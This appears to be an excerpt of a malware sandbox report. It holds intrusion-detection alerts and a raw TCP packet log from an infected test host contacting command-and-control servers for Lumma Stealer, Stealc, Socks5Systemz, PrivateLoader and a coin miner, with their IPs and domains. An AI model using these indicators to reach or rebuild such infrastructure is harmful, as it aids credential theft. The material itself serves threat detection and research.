2024-08-30T03:17:06.048678+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49736	80	192.168.2.4	154.216.17.134
2024-08-30T03:19:04.975925+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49833	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:04.975925+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49833	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:13.474329+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49842	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:13.474329+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49842	80	192.168.2.4	185.196.8.214
2024-08-30T03:17:54.992048+0200	UDP	2055575	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (awwardwiqi .shop)	1	57519	53	192.168.2.4	1.1.1.1
2024-08-30T03:19:03.937503+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49832	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:03.937503+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49832	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:20.228425+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49849	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:20.228425+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49849	80	192.168.2.4	185.196.8.214
2024-08-30T03:17:40.278288+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49750	80	192.168.2.4	46.8.231.109
2024-08-30T03:17:38.763142+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49750	80	192.168.2.4	46.8.231.109
2024-08-30T03:18:55.284647+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49825	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:55.284647+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49825	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:31.667877+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49802	443	192.168.2.4	94.130.188.148
2024-08-30T03:18:56.852353+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49826	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:56.852353+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49826	80	192.168.2.4	185.196.8.214
2024-08-30T03:17:23.716836+0200	TCP	2054711	ET MALWARE PrivateLoader CnC Activity (POST)	1	49748	80	192.168.2.4	195.10.205.48
2024-08-30T03:17:29.867349+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49750	80	192.168.2.4	46.8.231.109
2024-08-30T03:17:50.625256+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49764	443	192.168.2.4	94.130.188.148
2024-08-30T03:17:50.703902+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49763	80	192.168.2.4	147.45.44.104
2024-08-30T03:18:01.297945+0200	TCP	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	49779	443	192.168.2.4	188.114.96.3
2024-08-30T03:18:01.297945+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49779	443	192.168.2.4	188.114.96.3
2024-08-30T03:19:23.627565+0200	TCP	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	49850	80	192.168.2.4	147.45.68.138
2024-08-30T03:18:51.189627+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49822	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:51.189627+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49822	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:45.960485+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49817	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:45.960485+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49817	80	192.168.2.4	185.196.8.214
2024-08-30T03:17:32.969246+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49750	80	192.168.2.4	46.8.231.109
2024-08-30T03:18:08.564464+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49784	443	192.168.2.4	94.130.188.148
2024-08-30T03:17:14.044435+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49734	80	192.168.2.4	147.45.44.104
2024-08-30T03:17:56.937594+0200	TCP	2055489	ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop)	1	49770	443	192.168.2.4	188.114.96.3
2024-08-30T03:18:07.913729+0200	UDP	2036289	ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	2	61257	53	192.168.2.4	1.1.1.1
2024-08-30T03:18:34.258485+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49804	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:34.258485+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49804	80	192.168.2.4	185.196.8.214

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 30, 2024 03:16:57.845658064 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 03:16:57.850581884 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 03:16:57.850649118 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 03:16:57.850816011 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 03:16:57.855562925 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 03:16:58.509486914 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 03:16:58.527784109 CEST	49731	443	192.168.2.4	172.67.75.163
Aug 30, 2024 03:16:58.527829885 CEST	443	49731	172.67.75.163	192.168.2.4
Aug 30, 2024 03:16:58.527889967 CEST	49731	443	192.168.2.4	172.67.75.163
Aug 30, 2024 03:16:58.535705090 CEST	49731	443	192.168.2.4	172.67.75.163
Aug 30, 2024 03:16:58.535718918 CEST	443	49731	172.67.75.163	192.168.2.4
Aug 30, 2024 03:16:58.560514927 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 03:16:59.009562969 CEST	443	49731	172.67.75.163	192.168.2.4
Aug 30, 2024 03:16:59.009650946 CEST	49731	443	192.168.2.4	172.67.75.163
Aug 30, 2024 03:16:59.039748907 CEST	49731	443	192.168.2.4	172.67.75.163
Aug 30, 2024 03:16:59.039762974 CEST	443	49731	172.67.75.163	192.168.2.4
Aug 30, 2024 03:16:59.040883064 CEST	443	49731	172.67.75.163	192.168.2.4
Aug 30, 2024 03:16:59.091778040 CEST	49731	443	192.168.2.4	172.67.75.163
Aug 30, 2024 03:16:59.528825998 CEST	49731	443	192.168.2.4	172.67.75.163
Aug 30, 2024 03:16:59.572514057 CEST	443	49731	172.67.75.163	192.168.2.4
Aug 30, 2024 03:16:59.678318024 CEST	443	49731	172.67.75.163	192.168.2.4
Aug 30, 2024 03:16:59.678564072 CEST	443	49731	172.67.75.163	192.168.2.4
Aug 30, 2024 03:16:59.678611040 CEST	49731	443	192.168.2.4	172.67.75.163
Aug 30, 2024 03:16:59.679900885 CEST	49731	443	192.168.2.4	172.67.75.163
Aug 30, 2024 03:16:59.679928064 CEST	443	49731	172.67.75.163	192.168.2.4
Aug 30, 2024 03:16:59.679939032 CEST	49731	443	192.168.2.4	172.67.75.163
Aug 30, 2024 03:16:59.679944038 CEST	443	49731	172.67.75.163	192.168.2.4
Aug 30, 2024 03:16:59.696633101 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 03:16:59.696666002 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 03:16:59.696748018 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 03:16:59.696988106 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 03:16:59.697000980 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 03:17:00.172049046 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 03:17:00.172168016 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 03:17:00.174870968 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 03:17:00.174879074 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 03:17:00.175221920 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 03:17:00.176311970 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 03:17:00.220498085 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 03:17:00.303133965 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 03:17:00.303283930 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 03:17:00.303339958 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 03:17:00.303558111 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 03:17:00.303558111 CEST	49732	443	192.168.2.4	34.117.59.81
Aug 30, 2024 03:17:00.303576946 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 03:17:00.303586006 CEST	443	49732	34.117.59.81	192.168.2.4
Aug 30, 2024 03:17:01.769922972 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 03:17:01.769956112 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 03:17:01.778635979 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 03:17:01.778794050 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 03:17:02.862034082 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 03:17:02.978782892 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 03:17:02.978813887 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 03:17:02.983608007 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 03:17:02.983813047 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 03:17:04.682998896 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 03:17:04.683018923 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 03:17:04.683026075 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 03:17:04.683191061 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 03:17:05.132136106 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:05.136156082 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:05.138384104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:05.138451099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:05.141599894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:05.141669035 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:05.142488003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:05.142601013 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:05.147973061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:05.148125887 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:05.150317907 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:05.156001091 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:05.156083107 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:05.159847975 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:05.164659977 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:05.166363955 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:05.169030905 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:05.171621084 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:05.171675920 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:05.171777964 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:05.177109957 CEST	49738	80	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:05.177117109 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:05.177170038 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:05.177263021 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:05.180478096 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:05.182015896 CEST	80	49738	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:05.182025909 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:05.182089090 CEST	49738	80	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:05.182651997 CEST	49738	80	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:05.187570095 CEST	80	49738	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:05.666688919 CEST	80	49738	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:05.666887045 CEST	49738	80	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:05.666887045 CEST	49738	80	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:05.667350054 CEST	49739	80	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:05.671696901 CEST	80	49738	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:05.672102928 CEST	80	49739	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:05.672158957 CEST	49739	80	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:05.672554970 CEST	49739	80	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:05.677383900 CEST	80	49739	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:05.787436962 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:05.787491083 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:05.788289070 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:05.794203043 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:05.802517891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:05.802587986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:05.802711964 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:05.809345007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:05.841382027 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:05.841423035 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:05.841773033 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:05.847240925 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:05.856817961 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:05.856865883 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:05.857211113 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:05.861944914 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:05.979589939 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:05.979777098 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:05.980092049 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:05.986676931 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.003252029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.003438950 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.003679991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.006055117 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.006110907 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.006350040 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.008414984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.011184931 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.048458099 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.048469067 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.048479080 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.048629999 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.048640013 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.048644066 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.048649073 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.048654079 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.048677921 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.048861027 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.048872948 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.048985004 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.048985004 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.049382925 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.049432039 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.053685904 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.053740978 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.076534986 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.076548100 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.076559067 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.076598883 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.076625109 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.076633930 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.076644897 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.076656103 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.076677084 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.076690912 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.076695919 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.076702118 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.076725006 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.076725006 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.076740980 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.076747894 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.076756001 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.076775074 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.076797009 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.076836109 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.081542015 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.081563950 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.081604004 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.081621885 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.081671953 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.081712008 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.148515940 CEST	80	49739	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:06.148684025 CEST	49739	80	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.148684025 CEST	49739	80	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.149018049 CEST	49740	80	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.153441906 CEST	80	49739	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:06.153846979 CEST	80	49740	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:06.153902054 CEST	49740	80	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.153980970 CEST	49740	80	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.154936075 CEST	49741	443	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.154968977 CEST	443	49741	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:06.155034065 CEST	49741	443	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.155268908 CEST	49741	443	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.155283928 CEST	443	49741	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:06.157834053 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.157870054 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.157888889 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.157908916 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.157944918 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.157963037 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.157985926 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.158003092 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.158148050 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.158193111 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.158194065 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.158206940 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.158232927 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.158246040 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.158262014 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.158303976 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.158972025 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.158987999 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.158998966 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.159010887 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.159018040 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.159025908 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.159035921 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.159043074 CEST	80	49740	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:06.159065008 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.159090996 CEST	49740	80	192.168.2.4	76.76.21.241
Aug 30, 2024 03:17:06.159785032 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.159832954 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.159833908 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.159847975 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.159876108 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.159882069 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.159893990 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.159919977 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.159939051 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.160743952 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.160789013 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.160804987 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.160818100 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.160829067 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.160839081 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.160847902 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.160862923 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.160887957 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.170499086 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.170548916 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.170809984 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.175594091 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.193876028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.194024086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.194109917 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.203191042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.203934908 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.203953981 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.203963995 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.203984976 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.204133987 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.204149961 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.204155922 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.204168081 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.204180956 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.204202890 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.204236031 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.204247952 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.204260111 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.204281092 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.204310894 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.204979897 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.205020905 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.205032110 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.205037117 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.205077887 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.205111027 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.205122948 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.205133915 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.205153942 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.205178976 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.205815077 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.205857992 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.205869913 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.205869913 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.205899000 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.205920935 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.205936909 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.205948114 CEST	80	49735	31.41.244.9	192.168.2.4
